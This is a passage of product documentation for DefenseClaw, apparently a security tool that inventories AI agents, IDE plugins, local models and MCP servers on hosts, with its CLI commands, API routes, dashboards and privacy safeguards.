defenseclaw agent signatures enable codexA pack file is JSON, not YAML; install and validate reject other formats with invalid JSON.
disable and enable take an individual signature ID, not a pack name; use
signatures list to find the ID. The bundled pack covers every connector listed
in Capability matrix. Custom packs are useful when
you ship internal AI tooling and want it surfaced as a first-party signal
rather than unknown.
A pack whose sha256 is not the one pinned in ai_discovery.signature_pack_digests (or, on a
managed standalone device, a pack with no pin) is not loaded. signatures list prints a
Not loaded: line with both digests and leaves its signatures out, agent discovery status
counts it, and defenseclaw doctor warns. A configured pack whose file is gone is reported the same
way (file not found); signatures list still prints the rest of the catalog, and the gateway keeps
enforcing the last catalog it built until the file is restored or removed from
ai_discovery.signature_packs. A pack edited on disk while the gateway runs is checked again within
a few seconds.
IDE plugin inventory
Beyond the AI agents on a host, DefenseClaw lists every extension and plugin in every IDE, AI or not, with its enabled state, for each user. AI plugins are flagged from the signature catalog, so "who has Copilot, Claude Code or Continue installed, and is it switched on?" is one command. The inventory is part of the continuous scan and refreshes with every full scan (every five minutes by default). Nothing is executed: the scan reads small, bounded metadata files only. Bundled extensions inside an IDE application, including VS Code built-in GitHub Copilot Chat, are not listed. The inventory reads per-user extension data folders.
$ defenseclaw agent ide-plugins --user alice
User IDE Plugin Version Enabled AI
alice cursor anthropic.claude-code (Claude Code for VS Code) 2.1.0 yes yes
alice intellij-idea com.github.copilot (GitHub Copilot) 1.5.40 yes yes
alice vscode eamodio.gitlens (GitLens) 17.0.0 no
alice vscode github.copilot (GitHub Copilot) 1.250.0 yes yes
alice vscode ms-python.python (Python) 2026.1.0 yes
alice vscode (ssh) github.copilot (GitHub Copilot) 1.250.0 client side yes
alice zed html 0.2.1 yes
7 plugin(s) shown; 7 in total, 4 AI, 1 disabled, 1 user(s)| Where to read it | What you get |
|---|---|
defenseclaw agent ide-plugins | The table above, or --json |
GET /api/v1/ai-usage/ide-plugins | The full rows, filtered and paged |
defenseclaw aibom scan --only ide_plugins | The ide_plugins category of the bill of materials |
TUI: Inventory (6) → IDE plugins | The same rows, with a detail card |
| Grafana AI Agent Usage & Detection → IDE plugins | Counts by IDE, AI against other, disabled, per user |
ide.plugin.* records and the defenseclaw.inventory.ide_plugins gauge | The change stream and the current counts, in your telemetry |
Which IDEs
| IDE family | Products | Plugin list | Enabled state from |
|---|---|---|---|
| VS Code and forks | VS Code, Insiders, VSCodium, Cursor, Devin Desktop (including legacy Windsurf folders), Kiro, Trae, Void, Antigravity, Positron | extensions.json (including every profile) and each extension's package.json | The extensionsIdentifiers/disabled key of the editor's state.vscdb, opened read-only: enabled when not listed (or when the editor has no state database yet), unknown when the database cannot be read |
| VS Code Remote-SSH servers | ~/.vscode-server, ~/.cursor-server and the other forks' servers, on the host you connect to | The server's extensions folder, shown as vscode (ssh), cursor (ssh) and so on | client_side_unknown, shown as client side: the IDE on your laptop keeps that state |
| JetBrains | IntelliJ IDEA, PyCharm, WebStorm, GoLand, CLion, Rider, RubyMine, PhpStorm, DataGrip, DataSpell, RustRover, Aqua, Writerside and Android Studio, plus JetBrains remote development (shown as (remote dev)) | Each plugin's META-INF/plugin.xml in the plugin folders and bundled JARs | disabled_plugins.txt: enabled when not listed |
| Visual Studio (Windows) | Visual Studio per instance, including the experimental hive: the user's extensions under %LOCALAPPDATA%\Microsoft\VisualStudio, and the machine-wide ones under Program Files | extension.vsixmanifest | Visual Studio's private registry (privateregistry.bin); unknown while Visual Studio is running and holds the hive locked |
| Zed | Zed | extensions/installed/*/extension.toml | Always enabled |
| Eclipse | Per-user Eclipse installs (Oomph under ~/eclipse, p2 user configurations under ~/.eclipse), best effort | bundles.info, without the platform bundles every Eclipse ships | Enabled |
| Vim and Neovim | Vim, Neovim | lazy-lock.json, native packages in pack/*/{start,opt} and vim-plug's plugged folder | start is enabled and opt is disabled; lazy.nvim and vim-plug plugins are unknown because they do not record it |
Connector plugins (Claude Code, Codex, OpenCode, Amp, Copilot CLI, Hermes and
the others) are not IDE plugins. They stay in the AIBOM plugins category,
stamped with their user.
The enabled state of a row is one of enabled, disabled,
client_side_unknown or unknown, and the row records where it came from
(state_vscdb, disabled_plugins_txt, privateregistry, remote_server,
default and so on), which the TUI detail card shows as Enabled from.
Whose plugins
Each per-user row carries the user it belongs to: the home's owner, or on a managed host the account the guardian or the gateway scanned. One user can never appear in another user's rows: a planted extension folder changes only its own owner's inventory.
| Install | Who scans | Whose homes |
|---|---|---|
| Per-user (OSS) | The user's own gateway | That user's home only |
| Standalone enterprise, Linux and macOS | The hook guardian, as each enrolled user | Each enrolled user's home. It does not follow links out of the home |
| Standalone enterprise, Windows | The gateway service, which the enumerator grants read access to the IDE folders of each profile (and nothing else in the profile) | Each enrolled profile; Visual Studio installs under Program Files are machine-wide. It reads nothing through a link, junction or mount point below a profile, and skips an ai_discovery.home_dirs folder that is one; each refused path gets one ai_discovery_link_refused warning in the gateway log |
A machine-wide row belongs to no account. A Visual Studio extension
installed for all users under Program Files is listed once, however many
users are enrolled, with scope machine, no user or user_id, and an
enabled state of unknown. --user never returns it, counts.users does not
count it, and its ide.plugin.* records are exported without user.id or any
defenseclaw.user.* attribute.
A managed Windows gateway reads the same IDE sources as a per-user scan, and the enabled state comes from the same places. The hook enumerator grants its service account read access to these folders in each enrolled profile (one with at least one enrolled agent) at every cycle, every 5 minutes, so a new IDE or plugin folder shows up after the next cycle and the next scan:
| IDE | Read, with what it holds | Only the folder or file itself |
|---|---|---|
| VS Code and forks | .vscode\extensions and the forks' extensions, %APPDATA%\Code\User\globalStorage and profiles (and the forks') | |
| Remote-SSH servers | .vscode-server\extensions and the forks' | .vscode-server and .vscode-server\cli\servers (to list the server builds), each build's server\package.json (its version). The server's own data and binaries are not granted |
| JetBrains | %APPDATA%\JetBrains, and plugins in each product folder under %LOCALAPPDATA%\JetBrains | %LOCALAPPDATA%\JetBrains (to list the products), RemoteDev\dist and each backend's product-info.json. The caches, indexes and logs beside them are not granted |
| Android Studio | Each %APPDATA%\Google\AndroidStudio<version> folder, and plugins in each %LOCALAPPDATA%\Google\AndroidStudio<version> | %APPDATA%\Google and %LOCALAPPDATA%\Google (to list the versions). Other Google folders are not granted |
| Visual Studio, Zed, Neovim, Vim | %LOCALAPPDATA%\Microsoft\VisualStudio, %LOCALAPPDATA%\Zed\extensions\installed, %LOCALAPPDATA%\nvim and nvim-data, vimfiles | |
| Eclipse | .eclipse | eclipse (Oomph's installs) and each install's bundles.info |
Nothing is granted through a link or junction inside a profile. The
enumerator reads %APPDATA% and %LOCALAPPDATA% under each profile.
AppData that folder redirection moves to a local folder the user owns is
inventoried. AppData on a network share, or reached through a link or
junction, is not. The
Secure Client profile keeps its historical editor-extension detector and
has no IDE inventory, so it gets none of these grants. JetBrains Toolbox's
own folder is not read on any platform: the IDEs it installs keep their
plugins in the product folders above.
What is collected, and what is not
Collected for each plugin: the plugin ID, display name and publisher, the
version, the enabled state and where it came from, the scope (user,
remote or machine), the AI flag and the signature that matched, the
install and last-seen times, the owning user, and a hash of the plugin's path.
For each IDE installation: the product, channel, version, whether it is a
remote server, and a hash of its path.
Not collected: the contents or source of any extension, settings, tokens or
credentials, workspace and project files, chat or editor history, or the
extension's own data. Each text field (a display name, a publisher) is kept
to one printable line of at most 256 bytes: format characters such as
right-to-left overrides are dropped and control characters become a space, so
a planted name cannot render differently in a table or a dashboard. The only
database read is the one key
extensionsIdentifiers/disabled in a VS Code state.vscdb, opened read-only
and immutable with a 2-second limit. Paths leave the host only as hashes.
Every scan is bounded: at most 4,096 plugins per IDE installation, 16,384 files and 64 MiB of metadata per home, and 1 MiB per file. An IDE that exceeds a bound is reported as a partial installation rather than read further.
The scan reads regular files only: it skips a FIFO, a device, a socket or a folder it cannot open without waiting on it, and a manifest it walks to is read as the file itself, never through a link. On a managed Linux host, each user's scan runs in a worker with a 1 GiB memory ceiling, so a home that defeats these bounds ends that user's worker, not the host. On managed Linux and macOS, when a user's scan fails three passes in a row, the guardian pauses that home for an hour (then two, up to a day) and keeps the user's last inventory meanwhile.
Most IDE rows describe plugin data found in each user profile; Windows Visual
Studio also has machine-wide rows. Removing an IDE
application can leave those folders behind, so an enabled plugin row means
its metadata is present and enabled in that saved profile; it does not prove
that the IDE application is still installed.
Folder coverage
For VS Code, the scanner reads ~/.vscode/extensions on macOS and Linux
and %USERPROFILE%\.vscode\extensions on Windows, plus the default
per-user data folders for the listed forks and their remote SSH servers.
It does not read portable VS Code data/extensions beside the app, folders
selected with --extensions-dir or VSCODE_EXTENSIONS, Linux XDG
relocations, or Snap and Flatpak extension roots. Those installations and
their editor-extension AI signals can be absent from the inventory.
Privacy and scope
Plugin lists can reveal personal tooling. ai_discovery.ide_inventory sets the
scope, and the default is the full list:
| Value | Effect |
|---|---|
all (default) | Every plugin, AI or not |
ai_only | Only plugins flagged as AI |
off | No IDE inventory; AI editor-extension signals still appear in agent usage |
ai_discovery:
ide_inventory: ai_only # all | ai_only | offSet the scope with defenseclaw agent discovery enable --ide-inventory ai_only --yes
(or choose all or off). This also enables discovery and runtime planes A
and B. A running gateway applies the change on its next reload, and the inventory
follows at the next full scan. On a managed host, edit the
machine configuration.
When the scope is off, defenseclaw agent ide-plugins says so and exports
nothing. The AI flag follows the signature packs, so a new
AI extension is flagged after a signature update. See also
Identity and authentication.
Read the inventory
defenseclaw agent ide-plugins
defenseclaw agent ide-plugins --user alice --ai-only
defenseclaw agent ide-plugins --ide cursor --json
defenseclaw aibom scan --only ide_plugins--ide takes a product (vscode, cursor, pycharm) or a family
(jetbrains). --ide windsurf is an alias for devin-desktop so
older Windsurf profiles can be found by that name. The footer line reports the counts of the rows that the filters
select. Without AI discovery enabled, the command tells you to run
defenseclaw agent discovery enable.
A managed install has no defenseclaw Python CLI (Managed command availability). As root on a managed Linux
or macOS host, sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux ide-plugins (on a Mac, sudo /opt/cisco/defenseclaw/bin/defenseclaw-gateway enterprise macos ide-plugins) prints the managed gateway's inventory as
JSON, with the --user, --ide, --ai-only and --cursor filters. On a
managed Windows computer, & 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows ide-plugins
does the same from an elevated PowerShell prompt. The counts describe the rows the filters
select, so --ai-only or an unmatched --user can give zero; run the command with no
filter for the machine total. An answer without an inventory
carries a reason: on a managed computer whose config leaves AI discovery
off, it says to set ai_discovery.enabled: true in the managed config (the
file Setup, the package or the MDM delivers); agent discovery enable is a
per-user command.
- API.
GET /api/v1/ai-usage/ide-pluginsreturns the last full scan's plugins, filtered byuser(account name or ID),ide(product or family) andai_only, a page at a time (limit, at most 1000, andcursorfrom the previous page'snext_cursor).totalandcounts(plugins, AI, disabled, users, installations and per-IDE) describe the rows the filters select across all pages, and withai_onlytheinstallationslist keeps only the installations that hold an AI plugin.GET /api/v1/ai-usagecarries the same counts for the whole machine. See the gateway API. Secure Client does not register the IDE plugin route, so it returns404. - AIBOM. The
ide_pluginscategory lists the same rows.--onlycan leave it out or select it alone. - TUI. Inventory (
6) → IDE plugins lists IDE, Plugin, Version, Enabled and AI, with a User column when more than one user is present.Enteropens a detail card with the version, publisher, where the enabled state came from, the scope, the matched AI signature and the times;PageUpandPageDownscroll it. See the TUI guide. - Grafana. The AI Agent Usage & Detection board has an IDE plugins
section: plugins installed, AI plugins and disabled plugins as counters,
plugins by IDE, AI against other plugins by IDE, plugins by enabled state,
and a per-user table. The
$userbox narrows the Loki panels to one user. See Grafana dashboards. - Telemetry. Each change is exported as an
ide.plugin.discovered,ide.plugin.changedoride.plugin.removedrecord, and thedefenseclaw.inventory.ide_pluginsgauge counts plugins per IDE, AI flag and enabled state.
Operator CLI
The CLI has two distinct discovery paths. agent discover runs a connector inventory directly on the operator's machine and needs no gateway. agent usage, processes, and components query the continuous-discovery snapshot and therefore require a running gateway.
agent discover
defenseclaw agent discover --json --emit-otelSanitized telemetry is best-effort and on by default. --no-emit-otel keeps a run strictly local. --require-otel fails the command when the gateway is unreachable.
Checks every connector DefenseClaw knows. The local --json output has an
agents object with one entry per connector ({"agents": {"codex": {...}, ...}}),
plus scanned_at and the telemetry result. Each entry has:
| Field | What it means |
|---|---|
installed | A binary was found and its version probe succeeded. Configuration is reported independently; a config file alone does not mark the application installed. |
config_path / binary_path | Full local paths found by discovery |
version / error | Version string or the local probe error |
configured / active / mode | State reconciled from DefenseClaw config |
Local JSON contains full paths
Treat redirected agent discover --json output as host inventory. It includes
full config and binary paths and may include local probe error detail. It does
not include file contents or environment values.
Before the default telemetry emission, DefenseClaw builds a separate sanitized
report. That projection replaces raw paths with has_*, basename, and
installation-scoped path-hash fields, bounds the version, and reduces probe
errors to version_probe_status plus error_class. See
Privacy and trust model below.
agent usage, processes, components
These three queries hit the gateway's AI usage view (built from continuous discovery), not the local filesystem:
defenseclaw agent usage --state new --state changed
defenseclaw agent usage --refresh --category local_model
defenseclaw agent usage --category local_model --detail
defenseclaw agent usage --component Qwen3
defenseclaw agent usage --category local_model --show-gone
defenseclaw agent usage --json | jq '.signals[] | select(.category == "local_model")'Without --refresh, the command reads the most recent snapshot. --refresh first triggers a full scan and then renders its result. The default table groups repeated observations; --detail renders one row per signal. Local-model rows add model ID, installed/loaded status, and format columns when available.
Useful flags: --refresh, --detail, --state (repeatable), --category, --product, --component, --sandbox (what AI discovery found inside that sandbox; repeatable), --show-gone, --by-detector, --limit, --wide. The default table keeps the columns that fit the terminal; --wide adds model format, version and the identity/presence confidence columns. --component matches both SDK/component names and local model IDs using a case-insensitive substring. Table filters are client-side; --json intentionally returns the complete raw gateway snapshot, so filter JSON with jq when needed.
defenseclaw agent processes --limit 20Live AI process table — running agent CLIs, local model servers, and AI desktop apps whose process name matches the signature catalog. Useful when something is running but you can't tell which agent spawned it. On macOS and Linux a per-user install lists only your own account's processes; managed installs see every enrolled user.
Process names match a catalog name exactly or as a distinct part separated by a hyphen, underscore, dot, or space. An unrelated name that merely contains a catalog word is not counted. On macOS, CLI binary discovery checks the scanner's PATH and the usual install directories /usr/local/bin, /opt/homebrew/bin, /opt/local/bin, and /opt/dc-agents/bin, plus ~/.local/bin and ~/bin for the scanned user. The binary check does not run the candidate.
defenseclaw agent components --ecosystem npm --min-identity 0.8
defenseclaw agent components show ai
defenseclaw agent components history aiUse the component ID from agent components; package IDs such as ai and
openai resolve only after discovery finds those packages. A display label or
connector name is not a component ID.
Package-dependency view: every AI-related npm, PyPI, Go, Cargo, or other package dependency across your workspaces. --ecosystem takes the ecosystem name (npm, pypi, go, …). show and history drill into a single component's identity score and detection trail.
TUI and macOS behavior
The full TUI AI Discovery panel groups local models case-insensitively by model ID in a separate compact table with State, Model, Owner, Modality, Relevance, Confidence, Status, and Format columns. Everything else remains in the existing agent/tool table. Press t to move keyboard focus between the product and model tables; arrow keys and Enter then operate on the visible selection. Model detail retains provenance—including publisher, country, root/base models, derivation, quantization, source, and confidence—alongside owner application, modality, relevance, discovery confidence, recipe, device, size_bytes, and pinned state.
When classification metadata is available, the TUI starts in RECOMMENDED scope: discovery confidence must be at least 80%, and the row must be primary or an owner-attributed supporting speech, audio, vision, or embedding model. Low-confidence, embedded, unknown-relevance, ownerless-supporting, and supporting-generative rows are hidden. The local-model heading reports the visible/total counts and how many rows are hidden. Press a or choose Show all models to expose the complete admitted inventory, then press a again or choose Recommended models to return. For compatibility, a direct model_api row without model-specific confidence remains recommended, and a snapshot from an older gateway with no owner, relevance, or discovery-confidence metadata keeps its historical all-model view even if it reports the older modality field.
The macOS app decodes the same wire shape and uses the same recommended scope. Its inspector also shows owner application, modality, relevance, and discovery confidence, and a visible notice reports the count hidden by filters. Under Model Filters, Show All Models removes the recommended confidence/classification exclusions while still honoring an explicitly selected modality or relevance. The modality picker offers Generative, Speech, Vision, Embedding, Audio, and Unknown; the relevance picker offers Primary, Supporting, Embedded, and Unknown. Selecting either classification explicitly removes the implicit recommended classification exclusions while retaining the 80% confidence threshold, so choosing Speech also reveals high-confidence supporting speech models. Reset to Recommended restores the default scope. These TUI/macOS controls are presentation-only: GET /api/v1/ai-usage and defenseclaw agent usage --json continue to return the complete admitted snapshot, including rows hidden by the recommended view. The separate Overview tile remains an AI Agents summary: it excludes local_model rows from its count and row cap so a large model inventory cannot hide agent rows.
agent confidence
Discovery isn't binary — every signal has a confidence score. To inspect what evidence backed a particular decision:
defenseclaw agent confidence explain openai
defenseclaw agent confidence policy show
defenseclaw agent confidence policy default
defenseclaw agent confidence policy validate ./my-policy.yamlexplain shows the per-detector evidence trail. policy lets you tune the weights — useful when you have an internal connector that scores low because the bundled signature pack doesn't know about it.
AIBOM (AI Bill of Materials)
Discovery answers "what's there?" AIBOM answers "what's there, with provenance, in a format I can hand to compliance."
defenseclaw aibom scan --jsonFor OpenClaw, aibom scan calls the live openclaw binary in parallel for each category (skills, plugins, MCP, agents+config, models, memory) and merges the results. For non-OpenClaw connectors it falls back to filesystem inventory.
On a multi-connector install, a default aibom scan fans out: it produces one BOM per active connector, mirroring the rest of the read/inventory commands. With --json one connector prints one JSON object; several print a JSON array with one object per connector, each naming its connector. Pass --connector <name> to get a single object for one connector.
In the human output, a count of 0 means the category was read and is empty.
- / not collected means DefenseClaw cannot read that category for this
connector (or --only left it out). The Inventory coverage notes at the end
say what each connector's inventory covers: not supported notes mark a
category that is not read, partly checked notes mark one that is read but
where some runtime details (for example folder trust or organization policy)
are not checked. --summary folds them into one line such as
1 inventory coverage note (plugins); run without --summary to read it.
JSON keeps them in limitations with status unsupported or unverified.
The output is a custom JSON document. The document and each item carry the
same provenance block: schema version, content hash, configuration
generation, and DefenseClaw version. The content_hash is the SHA-256 of the active DefenseClaw configuration and
policy inputs; it is not a hash of an individual inventory item or of the
complete BOM:
The excerpt shows one connector's object (--connector, or an install with one active connector); with several connectors each array element has this shape:
{
"provenance": {
"schema_version": 7,
"content_hash": "8c3a000000000000000000000000000000000000000000000000000000000000",
"generation": 0,
"binary_version": "<version>"
},
"skills": [
{
"name": "code-review",
"version": "1.2.0",
"source": "~/.claude/skills/code-review",
"provenance": {
"schema_version": 7,
"content_hash": "8c3a000000000000000000000000000000000000000000000000000000000000",
"generation": 0,
"binary_version": "<version>"
}
}
],
"mcp": [...],
"agents": [...],
"tools": [...],
"model_providers": [...],
"memory": [...]
}Useful flags:
| Flag | Purpose |
|---|---|
--json | Machine-readable output (default is a human table) |
--summary | Counts only — useful for CI gates |
--only | Comma-separated categories to collect: skills,plugins,mcp,agents,rules,tools,models,memory,ide_plugins. The others are left out, and the JSON marks them "collected": false |
--connector | Inventory one connector instead of every active one |
There's no --sign or --format=cyclonedx today. The stamped provenance
binds the report to the active DefenseClaw config/policy generation and binary
version, but does not sign the report or content-address each item. Export the
custom JSON downstream if your SBOM tooling requires CycloneDX.
Where the data lands
Both continuous and on-demand discovery feed the same audit pipeline. Once you've got Observability wired up, the bundled dashboards light up automatically.
Galileo is not one of these places. Its galileo-rich-v2 trace profile carries agent, workflow, model, tool, retrieval and judge spans only, so discovery results never reach Galileo; use Grafana, Splunk or another OTLP destination for them (see Galileo).
Managed enterprise export
When deployment_mode: managed_enterprise has a valid top-level
cisco_ai_defense.endpoint, DefenseClaw generates the reserved
managed-enterprise-ai-defense destination. Operators cannot declare, disable,
retarget, or attach credentials to this destination through the observability
source config. It uses the managed CMID identity, applies the built-in
sensitive projection, and posts to the release-owned AI Defense ingest path.
Every complete managed endpoint-inventory collection is durable in mandatory
local SQLite. Its summary is accompanied by one ai_component.observed record
per item. Connector and MCP inventory are exported at that granularity; the
latest full discovery snapshot also contributes per-item skills, plugins, and
discovered MCP servers tagged with their parent connector. Sanitized coding-
agent inventory received through agent discovery uses the same per-item model.
Incomplete, overflowed, or otherwise non-authoritative collections are retained
as local diagnostics instead of being exported as authoritative snapshots.
Managed MCP inventory treats an unreadable connector configuration, a malformed server entry in otherwise valid JSON, an invalid Codex or Amp configuration, or an incomplete discovery scan as a partial observation. Valid entries from other sources remain in the local diagnostic. The gateway emits a local, redacted inventory diagnostic and keeps the last complete managed snapshot; it does not report the missing entries as removals. A complete scan can publish a genuinely empty inventory when servers have been removed, but only after every connector configuration read completes successfully. The partial summary contains a source and counts; component rows owned by the unreadable connector stay on the local diagnostic route and are not exported as managed inventory. Complete sibling connectors can still submit their server records individually. Those submissions are additive observations, not an authoritative endpoint snapshot, and do not tell AI Defense to remove rows belonging to the unreadable connector. On Windows, a LocalSystem gateway cannot read configured user-profile MCP files. That collection remains partial until a per-user source provides them; the gateway does not replace the last complete cloud snapshot with an empty one.
Local MCP component records include the safe server name, safe command basename, transport, connector, native configuration scope when known, and the discovery source. For command-based entries, when the gateway has its installation token, it also exports separate keyed HMAC fingerprints of the full command and ordered arguments. The token never leaves the gateway through these fields; raw command paths, arguments, environment variables, headers, and OAuth material are not exported. A gateway token rotation changes these fingerprints. A local MCP component ID derives from the connector, user scope, and server alias, preserving the identity used by earlier inventory releases. Command, argument, or token changes update the record's fingerprints without replacing the component or its tool history. The connector and user scope distinguish separate installations on one endpoint, while the alias keeps two entries with identical commands and ordered arguments visible as distinct configured rows. Renaming the alias creates a new component.
Remote MCP component records also include the configured server endpoint URL. The exported value keeps only the HTTP(S) scheme, host, and explicit port; it omits userinfo, path, query parameters, and fragments. A remote MCP component ID also derives from connector, user scope, and server alias. Endpoint changes update that component in place. DefenseClaw does not probe the endpoint to collect this value; it comes from native connector configuration. Renaming a remote server alias creates a new component.
When a local or remote MCP admission scan completes, DefenseClaw preserves the bounded tool
names returned by its existing tools/list request even if the scanner reports
zero findings. Authenticated agent hooks also record the names of MCP tools
called at runtime. Managed local and remote inventory emit these as mcp_tool components with
the current parent server component ID, advertised or observed source, and
the UTC observation time. It exports names only: tool descriptions, input
schemas, call arguments, and results are excluded. A completed empty listing
clears previously advertised names from the bounded durable snapshot; an
incomplete listing produces a local partial diagnostic. An ambiguous server
alias across user profiles is not attributed to either profile. Advertised tool
evidence and observed tool names are persisted in bounded local SQLite state,
restored after a gateway restart, and retained until an authoritative parent
refresh retires the configured alias. Each parent retains at most 256 distinct
advertised names and 256 distinct observed names. Once an observed parent is at
that limit, a new distinct name is rejected and the collection remains partial;
existing names and their timestamps are never evicted to make room. A restored complete advertised listing
remains complete once its configured parent is matched again; a restored
partial listing remains partial until that server completes a later listing,
including an empty one. Durable restore completeness is tracked separately for
advertised and observed tools: an unreadable advertised snapshot keeps only the
advertised collection diagnostic, while unresolved observed rows keep the
observed collection diagnostic until their read succeeds. A newly observed
tool also remains diagnostic until SQLite confirms its write; a failed write is
retried on a later inventory cycle without delaying the hook response. A
listing that completes before its newly configured parent has been refreshed
is retained in memory, persisted, and published after that parent is
established. Tool components use the managed route only when their parent
server component is eligible for that route. An over-limit or otherwise
diagnostic-only parent therefore cannot leave an authoritative orphan tool.
This flow does not reconcile a central
principal catalog. Remote tool lineage follows the alias-based server ID.
DefenseClaw reuses the scanner's existing remote
tools/list request and does not start an additional endpoint probe. If an
older scanner omits the tool-list field, the gateway marks the listing unknown
and keeps the last complete managed snapshot. Only managed enterprise mode
records this tool inventory; parent identities refresh with inventory
publication. An observed call alone does not mark a listing complete.
The defenseclaw.inventory.mcp_tool_events counter distinguishes listing,
authenticated-call observation, and export submission using fixed outcome and
reason labels. An observation whose verified server parent is unavailable uses
the bounded parent_unavailable reason; the counter never uses a tool name,
server URL, scan error text, or call argument as a label.
The release-owned managed agent, connector, MCP, skill, and plugin inventory
actions are blocked from operator-configured remote destinations. Mandatory
SQLite remains authoritative locally, and the generated CMID-authenticated AI
Defense destination is the only optional exporter allowed to receive those
actions. That exclusivity applies to the release-owned managed inventory
actions; ai_discovery records continue to follow the
destination policy and also reach the generated destination in managed mode.
Splunk: AI Discovery Inventory

The dashboard reads from the defenseclaw_demo_ai_discovery_events macro and breaks signals down by vendor, category, state, detector, and severity. The recent-events table surfaces signal_id, scan_id, and the human message so an analyst can pivot directly to the source.
Grafana
The local observability stack ships the AI Agent Usage & Detection board
(defenseclaw-ai-discovery), built on:
- Prometheus:
defenseclaw_ai_discovery_signals_total(labelsstate,signal_category,ai_vendor,ai_product,detector), the active-signal gauge and the IDE plugin gaugedefenseclaw_inventory_ide_plugins(labelsdefenseclaw_ide_product,defenseclaw_ide_plugin_ai, anddefenseclaw_ide_plugin_enabled; the sample without labels is the current total). The board queries the exported label names directly, including for a plainotlpdestination. - Loki: the
ai.discovery.completed,ai_component.*andide.plugin.*records. - Tempo: the discovery scan traces.
Its IDE plugins section shows the plugin count by IDE, AI against other
plugins, disabled plugins and a per-user table. The $user box narrows the
Loki panels to one user by user.id, account name or principal.
Its Sandbox signals section lists what AI discovery found
inside OpenShell sandboxes, one row per
sandbox and component, from the ai_component.* records that carry
defenseclaw.sandbox.name. The $sandbox box narrows that table and the
per-signal log to one sandbox; All keeps the host's own records in the log.
The metric panels count the host's and the sandboxes' signals together:
sandbox names are never metric labels. They, and every other panel the box
does not narrow, say (all names) in their title or their section's.

It cross-links from the overview, runtime, and agent-identity dashboards so you can drill from "block rate spiked" → "which agent" → "when was this agent first discovered."
Privacy and trust model
In short:
- Environment variable names are recorded, never values.
- File paths leave the host as hashes. Raw paths need
ai_discovery.store_raw_local_paths: true. - Model discovery reads file headers and small metadata files, never model weights or document contents.
- The IDE plugin scan reads small metadata files only and runs per user.
ai_discovery.ide_inventorylimits it to AI plugins or turns it off. - Runtime planes read process arguments. Those are classified as content, so each destination's redaction profile decides whether they leave the host.
In detail:
Discovery touches the most sensitive parts of the host filesystem. DefenseClaw is deliberately conservative:
No raw values by default. Env var names are recorded, never values. File paths are hashed (config_path_hash, binary_path_hash) and only basenames are kept in the default redacted output.
Metadata-only model discovery. Filesystem discovery never reads tensor payloads; it reads only bounded headers and small adjacent metadata needed to identify and group model artifacts. API discovery never calls inference or model-control routes. API discovery caps each decoded response at 1 MiB, emits at most 256 model items, considers at most 24 endpoints, and has both per-request and whole-pass time budgets. Per-source cursors and rotating origins give later models/providers a bounded turn on subsequent passes. Authenticated Lemonade discovery uses only the least-privileged LEMONADE_API_KEY—never LEMONADE_ADMIN_API_KEY—and sends it only when the loopback origin came from explicit LEMONADE_HOST/LEMONADE_PORT settings or Lemonade's config and its credential-free /live check succeeds. The value is never stored in a signal, log, or event.
Optional trusted-prefix binary probing. The on-demand connector
inventory defaults ai_discovery.require_trusted_binary_paths to false.
Set it to true when version probes must execute only below the built-in
trusted prefixes (/usr/bin, /opt/homebrew, …) or operator-added
prefixes. With that gate enabled, an untrusted binary is recorded but not
executed, and agent discover prints the directory plus the remediation
command. Manage additions with defenseclaw setup trusted-paths list|add|remove (or the TUI Trusted Paths panel): add validates the
directory, refuses unsafe permissions unless --force, and persists it
under ai_discovery.trusted_binary_prefixes in config.yaml; built-in
defaults cannot be removed.
IDE inventory is bounded and scoped. The IDE scan reads small metadata files only (never extension contents, settings or credentials), hashes every path, and runs per user so rows stay with the account that owns them. ai_discovery.ide_inventory narrows it to AI plugins or turns it off. See IDE plugin inventory.
HMAC-stamped events. Continuous-discovery events are signed with a per-installation HMAC (PayloadHMAC on the gateway envelope). Tampering downstream of the gateway is detectable.
Sanitized on-demand reports. defenseclaw agent discover --emit-otel builds a _sanitized_discovery_report before posting to the gateway. The full unredacted report stays on the operator's machine.
Scoped controls for broader surfaces. Provider-domain and vetted loopback API checks follow include_network_domains; shell-history and environment-name collection have their own settings. Process discovery matches executable basenames, not argument text. On Darwin, where the kernel-backed short process name truncates long aliases, DefenseClaw reads the full ps command-line field only long enough to recover the executable basename, then discards the executable path and arguments. Review these controls with your privacy team and disable any surface your deployment does not need.
On macOS, enhanced discovery respects the operating system's Transparency, Consent, and Control (TCC) and filesystem permissions. DefenseClaw does not bypass protected folders or trigger access through another application. Without Full Disk Access the scan does not open the folders that make macOS prompt the user (Desktop, Documents, Downloads, Movies, Music, Pictures, iCloud Drive, ~/Library/Containers, ~/Library/Group Containers and Contacts data). A skipped protected folder makes the scan summary result: partial, increments errors, and adds detector_errors.macos_privacy. Other unreadable roots also leave successful detections in place and add sanitized detector information in detector_errors. The macOS app shows a prominent Partial scan banner with the error count and detector details; it shows Scan complete only when the result is complete. An incomplete root is not treated as proof that a previously observed model was removed. Grant Full Disk Access only when your organization's policy permits that broader local inventory, then restart the gateway and run a fresh scan.
The local GET /api/v1/ai-usage response—and therefore defenseclaw agent usage—retains the dedicated model block so the operator can see what is installed or loaded. Local scan history retains the same block in inventory.db; the gateway prunes scans older than observability.local.retention_days (seven days by default) and always keeps the latest scan. Records sent to a destination follow that destination's redaction profile. Normal discovery sanitization omits extended model metadata plus model basenames/path hashes, and lifecycle correlation uses an installation-scoped HMAC pseudonym rather than a dictionary-testable model ID. Raw filesystem paths require both ai_discovery.store_raw_local_paths: true and a selected projection that preserves the path field class. The retired privacy.disable_redaction setting no longer turns redaction off.
Runtime planes: what actually ran
Everything above establishes presence and identity. It deliberately does not prove that a detected component is active — an inventory that quietly implied liveness would be the more dangerous product.
The runtime planes answer the next question. Which process, at this moment, is sustaining inference-level compute or sending data to which provider, and does a sequence of host actions add up to a chain?
| Question | Answered by |
|---|---|
| What AI is present? | Discovery / AIBOM |
| What AI is allowed? | Registries |
| What AI actually ran, and where did it send data? | Runtime planes |
Neither half produces the interesting pair alone. Present but never running is dormant attack surface only discovery sees. Running and egressing but not present is an agent that arrived by a path the inventory does not cover, and only the runtime planes see that.
# A new configuration gets planes A and B. Add --enable-host-plane for Plane C.
defenseclaw agent discovery runtime enable --restart
defenseclaw agent discovery runtime selftest
defenseclaw agent discovery runtime findingsThe three planes
| Plane | Observes | Mechanism |
|---|---|---|
| A — inference heartbeat | Sustained CPU in a scriptable runtime, and resident memory large enough to hold model weights | /proc on Linux, ps on macOS, Toolhelp32 + GetProcessTimes on Windows |
